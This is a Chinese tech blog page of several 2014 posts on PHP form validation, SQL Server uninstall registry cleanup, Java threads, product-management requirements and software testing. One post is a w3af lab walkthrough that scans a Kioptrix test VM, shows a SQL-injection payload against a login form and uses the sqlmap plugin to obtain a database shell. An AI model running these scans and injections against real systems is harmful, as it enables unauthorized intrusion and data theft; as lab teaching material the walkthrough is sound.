qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

PHP 表单 - 必需字段

本章节我们将介绍如何设置表单必需字段及错误信息。


PHP - 必需字段

在上一章节我们已经介绍了表的验证规则,我们可以看到"Name", "E-mail", 和 "Gender" 字段是必须的,各字段不能为空。

字段验证规则
Name必需。 + 只能包含字母和空格
E-mail必需。 + 必需包含一个有效的电子邮件地址(包含"@"和".")
Website可选。 如果存在,它必须包含一个有效的URL
Comment可选。多行字段(文本域)。
Gender必需。 Must select one

如果在前面的章节中,所有输入字段都是可选的。

在以下代码中我们加入了一些新的变量: $nameErr, $emailErr, $genderErr, 和 $websiteErr.。这些错误变量将显示在必须字段上。 我们还为每个$_POST变量增加了一个if else语句。 这些语句将检查 $_POST 变量是 否为空(使用php的 empty() 函数)。如果为空,将显示对应的错误信息。 如果不为空,数据将传递给test_input() 函数:

<?php
// 定义变量并默认设为空值
$nameErr = $emailErr = $genderErr = $websiteErr = "";
$name = $email = $gender = $comment = $website = "";

if ($_SERVER["REQUEST_METHOD"] == "POST")
{

  if (empty($_POST["name"]))
    {$nameErr = "Name is required";}
  else
    {$name = test_input($_POST["name"]);}

  if (empty($_POST["email"]))
    {$emailErr = "Email is required";}
  else
    {$email = test_input($_POST["email"]);}

  if (empty($_POST["website"]))
    {$website = "";}
  else
    {$website = test_input($_POST["website"]);}

  if (empty($_POST["comment"]))
    {$comment = "";}
  else
    {$comment = test_input($_POST["comment"]);}

  if (empty($_POST["gender"]))
    {$genderErr = "Gender is required";}
  else
    {$gender = test_input($_POST["gender"]);}
}
?>


PHP - 显示错误信息

在以下的HTML实例表单中,我们为每个字段中添加了一些脚本, 各个脚本会在信息输入错误时显示错误信息。(如果用户未填写信息就提交表单则会输出错误信息):

实例

<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">

Name: <input type="text" name="name">
<span class="error">* <?php echo $nameErr;?></span>
<br><br>
E-mail:
<input type="text" name="email">
<span class="error">* <?php echo $emailErr;?></span>
<br><br>
Website:
<input type="text" name="website">
<span class="error"><?php echo $websiteErr;?></span>
<br><br>
<label>Comment: <textarea name="comment" rows="5" cols="40"></textarea>
<br><br>
Gender:
<input type="radio" name="gender" value="female">Female
<input type="radio" name="gender" value="male">Male
<span class="error">* <?php echo $genderErr;?></span>
<br><br>
<input type="submit" name="submit" value="Submit"> 

</form>

运行实例 »

posted @ 2014-10-11 14:59 顺其自然EVO 阅读(419) | 评论 (0)编辑 收藏

如何彻底的卸载sql server数据库

好不容易装上了sql server 2012数据库,可是却不能连接本地的数据库,后来发现缺少一些服务,于是决定重新安装,但是卸载却很麻烦,如果卸载不干净的话,重新安装会出问题,所以下面就总结一些方法:
  在卸载sql server 2012后,大家都希望能够将注册表信息完全删干净,下面就将教您彻底删除sql server 2012注册表的方法,供您参考,删除之前,请一定要做好备份工作哟。
  在卸载sql server 2012开始——运行:输入regedit 进入注册表编辑器,进入之后执行下列操作:
  1.彻底删除sql server 2012:
  hkey_local_machine\software\Microsoft\MSSQLServer
  hkey_local_machine\software\Microsoft\Microsoft SQL Server
  hkey_current_user\software\Microsoft\Microsoft SQL Server
  hkey_current_user\software\Microsoft\MSSQLServer
  hkey_local_machine\system\currentcontrolset\control\sessionmanager\pendingfileren       ameoperations
  2.注册表中的相关信息删除:
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer。
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSDTC。
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations项目,并删除它。这样就可以清除安装暂挂项目
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\setup
  删除ExceptionComponents
  3.运行注册表,删除如下项:
  HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server
  HKEY_USERS\S-1-5-21-2668230077-3704407121-3760209252-500\Software\Microsoft\Microsoft SQL Server
  HKEY_USERS\.DEFAULT\Software\Microsoft\VisualStudio
  HKEY_USERS\.DEFAULT\Software\Microsoft\SQL Server Management Studio
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
  4.查看服务列表里面有哪些sqlserver的服务残留,然后在以下地方,将sqlserver相关的服务全部删除.
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
  将SQL SERVER安装路径下,如:C盘——Program File下的Microsoft SQL Server 文件夹删除
  重启计算机
  SQL SERVER 2012 真的好烦~不容易卸干净的~下面的方法提供给那些懒得重装系统的“懒人”~ 亲测~
  1.停掉SQL SERVER 2012所有相关服务
  2.在控制面板“添加删除程序”中,删除SQL SERVER2012相关的程序
  3.下载 Windows Install Clean Up 工具卸载SQL 2012组件 (google it ~关于怎么用懒得写,看看就知道了)删除所有SQL服务
  4.清除注册表
  将HKEY_CURRENT_USER---Software----Microsoft下的Microsoft SQL Server文件夹全部删除
  将HKEY_LOCAL_mACHINE---SOFTWARE---Microsoft下的Microsoft SQL Native Client ,Microsoft SQL Server, Microsoft SQL Server 2012Redist全部删除
  5.删除残留文件
  6.将SQL SERVER安装路径下,如:C盘——Program File下的Microsoft SQL Server 文件夹删除
  7.重启计算机 (这世界清净了)
  注意:执行sqlserver2012提供的卸载实例程序,虽然卸载掉了实例,但是在系统的服务中任然看得到该实例.那么,先按照上面的方法清理注册表,然后再重启计算机即可修复软件安装问题和软件卸载问题
  自动诊断您的计算机上会阻止安装和卸载程序的问题。 帮助修复无法正常卸载的程序和阻止新程序安装的程序。
  修复的问题...
  删除 64 位操作系统上错误的注册表项。
  控制损坏的升级(修补)数据的 Windows 注册表项。
  解决阻止新程序安装的问题。
  解决阻止程序完全卸载和阻止新的安装和更新的问题。
  仅当程序无法使用 Windows 的“添加/删除程序”功能卸载时,才使用此疑难解答程序进行卸载。
  运行于...
  Microsoft Windows Server 2003
  Microsoft Windows Server 2003 R2
  Microsoft Windows XP
  Windows 7
  Windows Server 2008
  Windows Server 2008 R2
  Windows Vista
  Windows 8
  Windows 8.1
  Windows Server 2012 editions
  Windows Server 2012 R2
  适用于...
  Microsoft Visual Studio 2005
  Microsoft Visual Studio 2005 Professional Edition
  Microsoft Visual Studio 2005 Professional Edition with MSDN Premium Subscription
  Microsoft Visual Studio 2005 Professional Edition with MSDN Professional Subscription
  Microsoft Visual Studio 2008
  Microsoft Visual Studio 2008 Standard Edition
  Microsoft Visual Studio 2008 Professional Edition
  Microsoft Visual Studio 2008 Express Edition
  Microsoft Visual Studio 2008 Academic Edition
  Microsoft Visual Studio 2008 Software Development Kit
  Microsoft Visual Studio 2008 Tools for Applications Software Development Kit
  Microsoft Visual Studio 2008 Shell (integrated mode)
  Microsoft Visual Studio 2008 Shell (isolated mode) Redistributable Package
  Microsoft Visual Studio 2010
  Microsoft Visual Studio 2010 Ultimate with MSDN
  Microsoft Visual Studio 2010 Ultimate
  Microsoft Visual Studio 2010 Professional with MSDN
  Microsoft Visual Studio 2010 Professional
  Microsoft Visual Studio 2010 Professional with MSDN Embedded
  Microsoft Visual Studio 2010 Premium
  Microsoft Visual Studio 2008 Professional Edition with MSDN Embedded
  Microsoft Visual Studio 2010 Remote Debugger
  Microsoft Visual Studio 2010 Shell (Isolated)
  Microsoft Visual Studio 2010 Shell (Integrated)
  Microsoft Visual Studio 2010 Software Development Kit

posted @ 2014-10-11 11:22 顺其自然EVO 阅读(10151) | 评论 (0)编辑 收藏

如何创建并运行java线程

 Java线程类也是一个object类,它的实例都继承自java.lang.Thread或其子类。 可以用如下方式用java中创建一个线程:
  Tread thread = new Thread();
  执行该线程可以调用该线程的start()方法:
  thread.start();
  在上面的例子中,我们并没有为线程编写运行代码,因此调用该方法后线程就终止了。
  编写线程运行时执行的代码有两种方式:一种是创建Thread子类的一个实例并重写run方法,第二种是创建类的时候实现Runnable接口。接下来我们会具体讲解这两种方法:
  创建Thread的子类
  创建Thread子类的一个实例并重写run方法,run方法会在调用start()方法之后被执行。例子如下:
  public class MyThread extends Thread {
  public void run(){
  System.out.println("MyThread running");
  }
  }
  可以用如下方式创建并运行上述Thread子类
  MyThread myThread = new MyThread();
  myTread.start();
  一旦线程启动后start方法就会立即返回,而不会等待到run方法执行完毕才返回。就好像run方法是在另外一个cpu上执行一样。当run方法执行后,将会打印出字符串MyThread running。
  你也可以如下创建一个Thread的匿名子类:
  Thread thread = new Thread(){
  public void run(){
  System.out.println("Thread Running");
  }
  };
  thread.start();
  当新的线程的run方法执行以后,计算机将会打印出字符串”Thread Running”。
  实现Runnable接口
  第二种编写线程执行代码的方式是新建一个实现了java.lang.Runnable接口的类的实例,实例中的方法可以被线程调用。下面给出例子:
  public class MyRunnable implements Runnable {
  public void run(){
  System.out.println("MyRunnable running");
  }
  }
  为了使线程能够执行run()方法,需要在Thread类的构造函数中传入 MyRunnable的实例对象。示例如下:
  <span style="color: #ff0000;">Thread thread = new Thread(new MyRunnable());</span>
  thread.start();
  当线程运行时,它将会调用实现了Runnable接口的run方法。上例中将会打印出”MyRunnable running”。
 同样,也可以创建一个实现了Runnable接口的匿名类,如下所示:
  Runnable myRunnable = new Runnable(){
  public void run(){
  System.out.println("Runnable running");
  }
  }
  Thread thread = new Thread(myRunnable);
  thread.start();
  创建子类还是实现Runnable接口?
  对于这两种方式哪种好并没有一个确定的答案,它们都能满足要求。就我个人意见,我更倾向于实现Runnable接口这种方法。因为线程池可以有效的管理实现了Runnable接口的线程,如果线程池满了,新的线程就会排队等候执行,直到线程池空闲出来为止。而如果线程是通过实现Thread子类实现的,这将会复杂一些。
  有时我们要同时融合实现Runnable接口和Thread子类两种方式。例如,实现了Thread子类的实例可以执行多个实现了Runnable接口的线程。一个典型的应用就是线程池。
  常见错误:调用run()方法而非start()方法
  创建并运行一个线程所犯的常见错误是调用线程的run()方法而非start()方法,如下所示:
  Thread newThread = new Thread(MyRunnable());
  newThread.run();  //should be start();
  起初你并不会感觉到有什么不妥,因为run()方法的确如你所愿的被调用了。但是,事实上,run()方法并非是由刚创建的新线程所执行的,而是被创建新线程的当前线程所执行了。也就是被执行上面两行代码的线程所执行的。想要让创建的新线程执行run()方法,必须调用新线程的start方法。
  线程名
  当创建一个线程的时候,可以给线程起一个名字。它有助于我们区分不同的线程。例如:如果有多个线程写入System.out,我们就能够通过线程名容易的找出是哪个线程正在输出。例子如下:      注意:此处输出的是:New Thread
  MyRunnable runnable = new MyRunnable();
  Thread thread = new Thread(runnable, "New Thread");
  thread.start();
  System.out.println(thread.getName());
  需要注意的是,因为MyRunnable并非Thread的子类,所以MyRunnable类并没有getName()方法。可以通过以下方式得到当前线程的引用:
  Thread.currentThread();
  因此,通过如下代码可以得到当前线程的名字:注意:此处输出的是:main    感兴趣的朋友可以验证下。
  String threadName = Thread.currentThread().getName();
  线程代码举例:
  这里是一个小小的例子。首先输出执行main()方法线程名字。这个线程JVM分配的。然后开启10个线程,命名为1~10。每个线程输出自己的名字后就退出。
  public class ThreadExample {
  public static void main(String[] args){
  System.out.println(Thread.currentThread().getName());
  for(int i=0; i<10; i++){
  new Thread("" + i){
  public void run(){
  System.out.println("Thread: " + getName() + "running");
  }
  }.start();
  }
  }
  }
  需要注意的是,尽管启动线程的顺序是有序的,但是执行的顺序并非是有序的。也就是说,1号线程并不一定是第一个将自己名字输出到控制台的线程。这是因为线程是并行执行而非顺序的。Jvm和操作系统一起决定了线程的执行顺序,他和线程的启动顺序并非一定是一致的。

posted @ 2014-10-11 11:20 顺其自然EVO 阅读(168) | 评论 (0)编辑 收藏

PM成长日记—需求大作战

半年的时间,虽然参加了部分的产品规划,但是在什么时间节点,完成神马功能,都是更高level的PM决定,作为新人,更多的从事需求执行;需求的执行并不是简单的来什么需求,就做神马样子的产品,需求从提出到交付研发,有一系列的论证过程,这里称作为需求大作战。
  什么是需求
  大家都在讲需求分析,但是什么是需求,软件工程中提供了一系列复杂的解释。我所理解的需求就是,用户用的不爽、不舒服、不合适的,我们就要去解决这样的问题。不管在产品的任何阶段,把用户放在首位,是否满足了用户需求,要么解决了痛点,要么带来快感,这才是必要的需求。
  需求获取
  需求获取有多种途径:用户访谈、调研问卷、其他渠道的反馈
  用户访谈:通过6-8个(针对一个或者一段时间的产品迭代)用户访谈,定性了解用户的使用情况,最好的访谈形式,是在用户所熟悉的场景中,还原使用产品的整个过程;不过这样的成本确实蛮高,邀请一个用户需要耗费大量的时间和金钱;所以一般都是邀请用户到公司参加测试、或者直接电话访谈的形式。
  O2O的用户除了日常使用者之外,背后还有忽视掉的商户,而商户端的用户情况非常复杂,包含:服务员、前台、迎宾、收银、市场经理、店长、老板、连锁店老板、甚至公关营销和法务,所以针对商户端的用户访谈,电话是不合理的,除了跑到店里体验服务外,就是跟以上角色一对一聊,才会获取到一线的需求,以及产品的评价(这一系列文章里面,考虑到专门有一篇,就是写用户访谈,一半重点会放在商户侧)。
  调研问卷:访谈是定性的了解,那调研问卷就是定量的研究,针对访谈中出现的问题,通过调研问卷的方式,从更大规模的用户来论证,并根据调研问卷结果,将需求做优先级处理。有时候调研问卷不只是为了论证需求的存在,同样可以论证需求是否合理。
  但是你如果直接问用户,如果我增加一个功能,你需要么?大部分用户回答都是需要(不管是访谈还是问卷),所以需要通过引导式的内容,或者问卷中,开放式的问题,来收集并论证新功能的必要性。如果真的是用户急需,肯定会有用户强烈提出(这部分天使用户需要好好珍惜)。
  其他渠道的反馈:很多渠道的反馈,吐槽也好,表扬也罢,都说明天使用户对你产品的关心;除了产品自身的反馈渠道之外,还有论坛、围脖、知乎等等第三方网站;另外媒体渠道,现在的36kr等、可以看到竞品的报道,可以尝试分析下报道背后的原因,以及对自己报道后,各界对自己产品的反馈。现在不只是PM会关注围脖神马的,连各个公司大佬们都会积极去关注。
  需求分析
  通过种种方式,需求收集回来了,整理整理,to do list里面少则十几条,多则上百条;当然了调研问卷会帮你筛选出一批,可是剩下的部分,怎么去论证需求的合理性、必要性、甚至是否为无理需求呢,从实践以及跟前辈交流中,总结了以下三种方式:
  用户怎么说:用户永远是对的;这句话对,也不对。用户会告诉你想要什么,但是用户不会告诉你他的需求是什么;所以需要从用户那挖掘需求。
  馒头和海底捞的例子,小明说晚上我们去吃海底捞吧,为什么呢?因为他饿了,其实他的本质需求是饿了,给他两馒头,可能会不爽,但是绝对解决了小明的需求;同样的,老板说我请大家吃饭吧,让你安排,你安排馒头,会被所有人K死吧,相反,这时候海底捞就是个不错的选择
  所有用户怎么说,只是描述用户的行为,使用习惯,以及所要的预期结果;真正如何去满足用户的这个预期结果,就是PM需要从用户深挖出需求,然后通过产品方式去解决。
  数据:一切以数据说话,这是产品的准则,虽然数据有时候会骗人,也有很多为了数据好看故意掩盖的行为。但是真实可靠的数据,确实是能为产品增色,给用户带来方便。
  举个例子:在做App的时候,第一版本是拍脑袋,根据竞品分析和自己判断,显示神马内容;上线一个月之后再进行优化,我就选取了大部分用户使用的几个场景和动作,分别做了匹配;交上去被骂了一顿(略夸张,不过自信心还是被打击到了),肯定有更好的方式来实现。我就静心仔细思考,用户在使用时,每天在不同时间段,他的动作和目标是不一样的,所以我将每天以小时分段,看每个时间段,用户都进行神马操作,发现在每个时间段中,60%甚至更高的用户都是一样的目标和操作;
  所以就简单了,将24个小时前后有类似操作的时间段做个区分,用户在这个时间段打开App看到的内容,就是大部分人所操作的,可能影响小部分人,但是方便了更多的用户,毕竟产品永远是为大部分人去准备的。
  竞争对手怎么做:有一句话说得好,我们不需要重复造轮子;圆是上天赐予我们的礼物,前辈们的产品和设计,也是他们赐予我们后辈的财富。在竞品分析的时候,就可以留意别人好的设计;可能有人会觉得不耻,不就是抄袭么?对的,世间那么多产品,对个功能的设计,你能抄袭或者借鉴到,至少说明一你有用心留意并观察别人的产品;二别人的产品至少被用户接受了;三他已经慢慢帮你培养了用户的使用习惯;四直接证明此需求存在。模仿是一种很稳妥的方式,毕竟世间就只有一个乔布斯;此外在模仿中升华,做出更完美的产品,岂不是更好。
  当然了,不能盲目的去跟风,别人有,我也要有的思路是不对的。这里所讲的,是你通过别人的产品去论证需求,别人成功的产品,去实现你的需求。产品做加法一点都不难,难的是做减法,如果能在别人成功的产品上做减法,那还是需要严密的论证以及大胆的尝试。
对需求做决策
  论证了需求的存在,以及必要性,下面就是对需求的优先级交付开发,有些需求,因为优先级低,可能永远处于被砍掉的部分,或者一直呆在to do list直至天荒地老。
  需求优先级:
  需求永远是做不完的,而研发资源永远是不够的,怎么办?所以PM需要对所有需求的优先级进行分类,研发按照需求优先级列表,一个个进入开发队列。如何划分优先级:MVP(最小化可用产品),快速迭代,迅速论证需求及产品的合理性。当每个需求出现在列表中时,不停的问,这个需求有必要么?有必要优先级这么高么?不做用户会不会发狂?不做产品是不是能run?不做是否不通过产品线下也有解决方案,成本和线上比怎么样?经过这一系列论证,某些是必须要做,而且立马要做;有些是必须要做,但是并没有那么紧急;有些甚至是必要,但是却不是当前阶段需要的。少即是多,所有功能的累加并不难;难的是只提供用户核心的功能和产品,并让用不离不开他,再在这样的功能上,轻松调整和扩展产品。
  那些被砍掉的需求:
  从参与工作的第一个月,就整理了一个feature list,都是大家脑暴,或者研究竞品给产品未来做的规划,现在回头来看,里面所描述的功能,绝大部分都没有去做。一方面的原因是产品还很小,没必要大而全;另一方面部分功能,完全拍脑袋决定,根本没有必要在产品中增加。
  feature list是产品规划方面的需求,具体执行层面,每次需求评审,会故意放进很多需求;老板可以砍,技术可以砍,QA可以砍;需求多研发肯定会叫,象征性地砍掉不需要的需求,适当的把部分需求延期,只要保证你所要的核心需求,在这次迭代完成就好了,毕竟已经砍了一部分需求,不好意思一直砍。具体怎么交付技术需求,跟技术沟通会专门再写一篇。
  交互视觉和重构
  让专业的人做专业的事情,虽说PM应该是个70%的交互设计师,但是公司既然有了交互设计师,那交互的工作就十分信任地让他们去做;PM做的只是跟交互设计师描述清楚用户使用场景。当然作为新人,我经常犯的错误就是,我这里需要加XX功能,而不是我要解决XX问题。视觉重构同理,PM就是要利用好这些资源,并充分地信任他们。
  关注用户体验:产品要么给用户带来利益,要么方便用户使用;脱离了这两点的产品都是耍流氓。若一款产品既给用户带来利益又有非凡的体验,才是最成功的。用户体验为啥重要,因为体验会影响用户口碑,口碑影响产品成败,产品成败决定一切。用户体验包含用户所看到的一切元素,以及交互过程,除了显性的特性外,体验上隐性传递给用户的信息,会给造成暗示,如某处金额现实为负时,传递出的隐性情感肯定是偏向负面的。
  PM要学会讲故事:这里讲故事的意思,是跟UED的童鞋进行沟通,感性的传达肯定比理性的说教要好。某天交互设计师发了这样一条微博:我总是忽略一件事,PM同学提出的究竟是需求,还是ta出于对需求的认知而拟定的一种解决方案。老大回复的是:往往是后者,junior PM因为junior所以会是后者,senior PM因为senior所以还是后者。
  作为一个刚刚入门,还在摸索阶段的junior PM,反思下平时的工作,面对所有需求时,第一直觉都是想到,如何去解决这个问题;而不是描述用户的使用场景,在这样情况下用户所表现的焦虑和拙计,并将此问题抛给交互,让他以专业的知识来解决。交互设计师不是单纯的画原型图,他们能赋予产品生命和灵感,让用户体验到极致,所以让他们发挥ownership来解决问题,远比执行要好。
  需求文档
  刚刚开始实习时(不是在点评),写过半年左右的需求文档,当时因为瀑布模型开发,一期需求写一个月,评审后交付开发;然后二期需求文档同时进入编写。当时情形不做评价,对个人的锻炼就是文档算是入门鸟,正式工作后,文档方面也没有任何专门培训,写过几个之后,老大、技术、QA表示还行,半年时间,项目的大部分需求文档都是我产品,当然需求也是我在跟,少说也有几百页,正当我粘粘自喜的时候,发现......
  发现啥呢,研发基本不会关注的文档,他们都是按照他们的想法和思路进行开发,只有在进行不下去的时候,才会去关注下细节;或者在出现争议的时候,通过需求文档来check;可能文档唯一的读者只剩下QA了,因为他们要写测试用例;看了我们敬业的QA的case,我回过头看我的需求文档,瞬间汗颜。
  之前犯的错误是,觉得需求文档一定要按照格式来写,当然了这对新人上手有好处;写多了会发现,其实是没必要的工作。文档只需要清晰传递要完成的功能,以及详细的描述就够了,具体啥形式,是无所谓的。
  以前犯傻,写过的一篇关于如何写需求文档。
  那些年犯过的错误
  1、替技术思考问题:因为在学校专业是计算机和软件,所以会不由自主地帮技术思考问题,前两个月在需求评审时,会说这个需求工作量不大;甚至会说这个可以这样实现;这是个不好的习惯,还好慢慢改掉了,主要伤害了他们的ownership。
  2、忽视用户体验:在App端,擅自做决定,界面看似更简洁,但是实际增加了用户的操作成本,这件事情被狠P了一顿,从此长记性了。
  3、需求没有详细的论证:拍脑袋想一些需求,或者论证的数据不够全面,只看到表面数据,并没有深挖背后实际需求。
  4、过分强调文档的作用:刚刚入门的PM,对于所有人都忽视你的PRD,那种惆怅是无法言语的,调整好自己心态就好了,一切为了产品。
  5、木有传递业务价值:不是所有技术都关注业务,但是在传达需求时,需要讲清楚需求的背景、数据、以及原由;如果不做这些,技术就沦为彻底的码农,接受需求,然后开发出来,具体的价值体现,以及自我满足,需要从产品这里得到。
  犯过的错还有很多很多,这里就不一一列举
  此外,今天再翻一遍身边产品的书,发现大多会讲产品规划,很少讲需求如何具体执行。产品规划确实不是我这个level所需要花精力考虑的,所以这篇主要目的是需求执行、论证,以及交付技术,下一篇准备详细写,如何跟技术沟通并保证产品上线。
English »
 
English »
 

posted @ 2014-10-11 11:19 顺其自然EVO 阅读(199) | 评论 (0)编辑 收藏

W3af简单使用教程

 w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.
  0×00 概述
  在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.
  0×01 简介
  w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,所以很容易使用和扩展.
  0×02 安装
  root@bt:~# apt-get install w3af
  0×03 启动
  root@bt:~# cd /pentest/web/w3af/root@bt:/pentest/web/w3af# ./w3af_console
  0×04 漏洞扫描配置
  w3af>>> plugins//进入插件模块w3af/plugins>>> list discovery //列出所有用于发现的插件w3af/plugins>>> discovery findBackdoor phpinfo webSpider //启用findBackdoor phpinfo webSpider这三个插件w3af/plugins>>> list audit //列出所有用于漏洞的插件w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss //启用blindSqli fileUpload osCommanding sqli xss这五个插件w3af/plugins>>> back//返回主模块w3af>>> target//进入配置目标的模块w3af/config:target>>>set target http://192.168.244.132///把目标设置为http://192.168.244.132/w3af/config:target>>> back//返回主模块
  0×05 漏洞扫描
w3af>>> start
---New URL found by phpinfo plugin: http://192.168.244.132/New URL found by phpinfo plugin: http://192.168.244.132/checklogin.phpNew URL found by phpinfo plugin: http://192.168.244.132/index.phpNew URL found by webSpider plugin: http://192.168.244.132/New URL found by webSpider plugin: http://192.168.244.132/checklogin.phpNew URL found by webSpider plugin: http://192.168.244.132/index.phpFound 3 URLs and 8 different points of injection.The list of URLs is:- http://192.168.244.132/index.php- http://192.168.244.132/checklogin.php- http://192.168.244.132/The list of fuzzable requests is:- http://192.168.244.132/ | Method: GET- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")- http://192.168.244.132/checklogin.php | Method: GET- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")- http://192.168.244.132/index.php | Method: GET- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.Scan finished in 19 seconds.---//开始扫描
  0×06 漏洞利用配置
  w3af>>> exploit //进入漏洞利用模块w3af/exploit>>> list exploit//列出所有用于漏洞利用的插件w3af/exploit>>> exploit sqlmap //使用sqlmap进行SQL注入漏洞的测试
---Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...Vulnerability successfully exploited. This is a list of available shells and proxies:- [0] <sqlobject ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>Please use the interact command to interact with the shell objects.---//测试存在SQL注入漏洞//这里要记住shell objects(这里是0),等一下要用到0x07 漏洞利用w3af/exploit>>> interact 0//interact + shell object就可以利用了---Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shellw3af/exploit/sqlmap-0>>> ---//sqlmap的一个交互式模块w3af/exploit/sqlmap-0>>> dbs   ---Available databases:  [3]:[*] information_schema[*] members[*] mysql---//成功获得数据库信息
 

posted @ 2014-10-11 11:09 顺其自然EVO 阅读(907) | 评论 (0)编辑 收藏

测试工作挺枯燥的,怎么能够解决这个问题?

引言:
  过去的十年,我到国内很多的企业去做软件测试的培训,培训结束后,答疑阶段,有些工程师们问我:"王老师,测试工作挺枯燥的,怎么能够解决这个问题?"
  一般情况下,我会反问:"请你告诉我,有哪样工作是不枯燥?"
  有人说:"软件开发不枯燥。"
  我说:"让你写相似的代码,成天修改Bug,连续写三年,你认为枯燥么?"
  大家又说枯燥。又有人说:"当老板不枯燥。"
  我说:"那就自己去当老板,当了老板就知道,老板面对的困难不是枯燥,而是公司随时可能倒闭的压力。"
  俗话说:一屋不扫,何以扫天下。任何工作如果不扎扎实实得做上几年的时间,谈不上什么专家。缺少了专业性也就缺少了职业的选择性。
  前一段太太向我推荐了美国作家格兰维尔的《异数》,在这本书里,他提出了一万小时定律。
  一万小时定律的含义是:"人们眼中的天才,之所以卓越非凡,并非天资超人一等,而是付出了持续不断的努力,只要经过一万小时的锤炼,任何人都能从平凡变成超凡。"
  他认为天才不过是做了足够多练习的人,一个人想在任何领域取得成功,就必须要经过一万小时,也就是每天三小时,练习十年。只有受到如此多的训练,才能达到精通的程度。
  一万小时定律对天才也作出了诠释,对天才奥秘作了深刻的揭示,也就是所谓的天才都是经过后天的学习,训练取得的。而后天的训练,必须是个自觉的刻苦的过程,这个过程需要一万小时以上的时间。
  一万小时是个重要的数字,是个突破的临界点,如果以每天五个小时计算,那么需要六年。格兰维尔引用了大量的数据表明,世界上无论任何行业,当你具备基本技能后,最终能否出类拔萃,成为专家权威大师,只有一个因素最重要:就是练习、练习、再练习,最低限度一万小时。
  现在很多研究表明,在多个领域内,智商跟能不能达到专家的水平是没有关系的。这个理论里面有一点非常强调,这些练习都必须是刻意进行的。在我们生活中,有很多人也坚持了很长时间,但都没有成为真正的专家,其中一个很重要的原因,就是没有进行刻意的练习。
  天才是来自于刻意的练习。
  通过对一万小时定律的研读,我也深受启发,我觉得我现在学习高尔夫的状态应该和一万小时定律有很契合的地方。从我开始练球到现在,大概已有三千多个小时,所以如果我继续努力去练习,坚持到一万个小时的话,应该会有很好的突破。
  当然以我的年龄来算的话,到了一万个小时,我已经五十多岁了,那个时候身体应该是和现在又有了很大的差别,可能身体已经无法支撑我完成所要进行的练习。这可能是我最遗憾的地方,我开始练球有些太晚了。
  通过这个理论,还是对我有很大的鼓舞,我想还会坚持下去,即使会遇到困难,我也不希望自己放弃。另外通过这个理论,也让我觉得像高尔夫这项运动,我们的孩子或者年青的一代,甚至三十多岁人,如果有决心的话,一定可以成功。
  所以我计划除了周末,每天的练习时间一定不能少于6个小时。最好能够每天达到8个小时。这样的话我要达到自己的目标的话,还需要三年的时间。

posted @ 2014-10-11 11:05 顺其自然EVO 阅读(210) | 评论 (0)编辑 收藏

编写单元测试的10条理由

Anna写了一篇10 reasons to write unit tests的文章,原文已经打不开,不过其观点还是非常不错的。本文摘录如下:
  1. 不要让客户发现难堪的bug。在bug进入产品生产环节前编写足够的测试场景来捕获它们。
  2. 对于复杂的场景,快速测试它,不必在程序中手动地重现去它们。
  3. 经常测试,在你离开的时候程序便不会出错。你不可能总能了解你所编写代码的各种可能情况,尤其最初的程序并不一定是由你编写的。
  4. 尽早测试,就不需要编写一些不必要的代码,而可只关注关键部分。这可以使得代码库精简且易于维护。同样可以节约开发时间。
  5. 同一代码不必两番调试。一旦你测试发现可能的bug后,你便可以快速地修正它。
  6. 可以确保可读性。单元测试可使代码的意图易于理解。
  7. 确保可维护性。进行单元测试可迫使你更好地实现封装功能,从而使代码易于维护而且方便增加新功能。
  8. 重构时无需担心。运行测试可确保一切功能如预期实现。
  9. 节省测试时间。你可以将整个CPU用来执行单元测试。
  10. 更安全。对于增加一个新功能或者修改部分程序内核后你是否经常会感到担心呢?(进行单元测试后)这一切不再了。
  11. 中奖:确切知道哪里出问题了。取代盲目的发现bug,测试可以告诉你问题及原因所在。举例:程序会告诉你什么时候cart中增加了一个条目而cart显示仍然是空的。它也会告诉你某个试图增加的条目失败了。
  你是怎么看的呢?欢迎发表评论。

posted @ 2014-10-11 11:04 顺其自然EVO 阅读(185) | 评论 (0)编辑 收藏

Windows下模拟Linux开发

1、背景
  Linux环境下开发是大势所趋,也是开发者必须掌握的技能。然windows系统已深入人心,实在不想放弃windows下的成熟应用,因此可以在Windows上模拟一个Linux系统。这样就满足了开发者的需求。
  2、所需软件
